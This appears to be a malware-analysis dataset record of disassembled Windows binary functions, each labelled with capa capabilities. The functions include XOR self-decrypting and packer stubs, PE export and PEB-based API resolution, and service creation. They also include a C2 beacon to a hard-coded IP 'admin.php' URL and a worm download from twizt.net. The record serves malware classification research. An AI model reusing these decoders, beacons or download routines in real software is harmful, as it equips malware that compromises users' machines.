joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x450012
Capabilities:
Encode data using xor

Disassembly:
push dword fs:[0]
mov dword fs:[0], esp
xor ebx, ebx
push ebx
push ebx
push 0x80000000
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [0x44ff28]
sub edi, edi
sub ecx, ecx
mov cl, 0xe5
inc edi
loop 0x45003a
call 0x450042
pop esi
sub esi, 0xffffffc2
push esi
sub ebx, ebx
or ebx, 0x2394
mov al, byte [esi]
xor ax, di
xchg byte [esi], al
inc esi
sub ebx, 1
cmp ebx, 0
ja 0x450052
pop esi
mov esp, dword fs:[0]
pop dword fs:[0]
pop edi
pop ebp
jmp esi
Function at 0x41f993
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41f9d2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41f9d2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41f9d2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41f9d2
cmp dword [ecx + 0x74], 0xe
jbe 0x41f9d2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x432150
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43217d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43217d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x6cb224e2
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0x14ce628c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x10024910
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x1002494e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x10024946
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x10024950
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x10024936
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10024a20
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x10024a36
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x10024a51
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x10030251
Capabilities:
Encode data using xor

Disassembly:
call 0x100301ca
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x100301fa
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x10030216
xor edx, 0
jmp 0x10030221
xor edx, edx
jmp 0x10030238
jmp 0x10030244
xor eax, eax
push 0x8427d7c0
call 0x10030251
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1003028d
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x10030266
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x100302a4
add eax, 0
jno 0x100302a9
add esi, 0
ret 0x10
Function at 0x10031012
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x10031034
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x100311d6
cmp edi, dword [ebp + 0x10]
jb 0x100311d6
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.10030afe
inc edi
jmp 0x100310bd
jmp 0x100310ca
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10030afe
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10030afe
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1003111e
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x10031102
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1003114c
add dword [eax], 0x39
jle 0x10031128
sub al, 0xf5
mov ch, al
call fcn.10031161
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x10032e39
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x10032e4f
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x10032e60
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.10032ea1
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x1003520d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x10035156
add ebx, 0
push ecx
call 0x1003516b
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6bf760e2
sub ebx, dword [0x6bf95921]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6bf95911
call fcn.10030c35
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.10030143
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100352c9
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100352c9
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x10035280
mov eax, 1
lock xchg dword [0x6bf9591d], eax
push 0x3dd1fc71
call 0x1003520d
push esi
add esp, 8
cmp eax, 0
jne 0x100351f6
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1003521c
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x10035231
cmp ecx, edx
cmp eax, 0
je 0x10035256
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x10035240
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1003526f
dec eax
loope 0x10035272
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6bf9591d], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x100352a6
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100352bb
jmp 0x100352c6
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x100351b4
Function at 0x1003c32e
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x1003c604
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6bf82595
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6bf7955b
push 0xffffffffffffffff
call fcn.1003352e
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1003c398
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.1003c3b0
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1003c5f8
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1003c5cc
Function at 0x1004bdfe
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1004be20
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1004be20
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1004be20
ret
cmp word [ebx + 4], 0x14c
jne 0x1004be20
test word [ebx + 0x16], 2
je 0x1004be20
test word [ebx + 0x16], 0x100
je 0x1004be20
cmp word [ebx + 0x18], 0x10b
jne 0x1004be20
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1004be20
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1004beac
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1004be40
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10032d8b
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1004be20
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1004beac
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1004be20
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1004be20
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1004be20
ret
cmp word [ebx + 4], 0x14c
jne 0x1004be20
test word [ebx + 0x16], 2
je 0x1004be20
test word [ebx + 0x16], 0x100
je 0x1004be20
cmp word [ebx + 0x18], 0x10b
jne 0x1004be20
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1004be20
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1004beac
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1004be40
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10032d8b
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1004be20
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1004bf63
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1004bfbc
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1004bf63
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1004bf72
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10451c15
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1004bfc3
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10032e39
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1004c062
add edi, 4
add eax, 2
dec ecx
jne 0x1004bfa8
call 0x1004c00f
loope 0x1004c005
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1004c05f
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1004c070
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1004c023
cmp eax, ecx
ja 0x1004c023
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1004c0ad
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1004c0a3
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.10033318
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1004bf72
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1004bfbc
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1004bf63
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1004bf72
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10451c15
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1004bfc3
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10032e39
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1004c062
add edi, 4
add eax, 2
dec ecx
jne 0x1004bfa8
call 0x1004c00f
loope 0x1004c005
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1004c05f
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1004c070
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1004c023
cmp eax, ecx
ja 0x1004c023
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1004c0ad
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1004c0a3
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.10033318
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401040
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push str.http:__185.215.113.66_admin.php_s_s_s_s
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x4010c0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x3f0]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x4010e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov edx, 5
mov word [ebp - 0x30], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x40114f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x401186
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x20
jle 0x401184
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x401186
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x401440
Capabilities:
Create service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 2
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401464
xor al, al
jmp 0x4014ea
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0x18]
push edx
push 0
push 0
push 0
mov eax, dword [ebp + 0x14]
push eax
push 1
push 3
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4014aa
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x4014ea
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4014d4
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x4014ea
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4017f0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40182d
mov ecx, dword [ebp + 8]
push ecx
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401820
xor eax, eax
jmp 0x401830
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4019a0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.69767
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x1e0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4019de
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
push 0x406788
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x406788
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 8], eax
mov dword [ebp - 0x1e4], str.winsyscfg.exe
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1e8], eax
mov ecx, dword [ebp - 0x1e8]
mov dx, word [ecx]
mov word [ebp - 0x1ea], dx
mov eax, dword [ebp - 0x1e4]
cmp dx, word [eax]
jne 0x401a77
cmp word [ebp - 0x1ea], 0
je 0x401a6b
mov ecx, dword [ebp - 0x1e8]
mov dx, word [ecx + 2]
mov word [ebp - 0x1ec], dx
mov eax, dword [ebp - 0x1e4]
cmp dx, word [eax + 2]
jne 0x401a77
add dword [ebp - 0x1e8], 4
add dword [ebp - 0x1e4], 4
cmp word [ebp - 0x1ec], 0
jne 0x401a11
mov dword [ebp - 0x1f0], 0
jmp 0x401a82
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0x1f0], ecx
mov edx, dword [ebp - 0x1f0]
mov dword [ebp - 0x1f4], edx
cmp dword [ebp - 0x1f4], 0
jne 0x401aa4
push str.http:__twizt.net_netbiosworm.exe
call fcn.00401190
add esp, 4
push 0
push 0
push 0
push 0x401980
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x1a0]
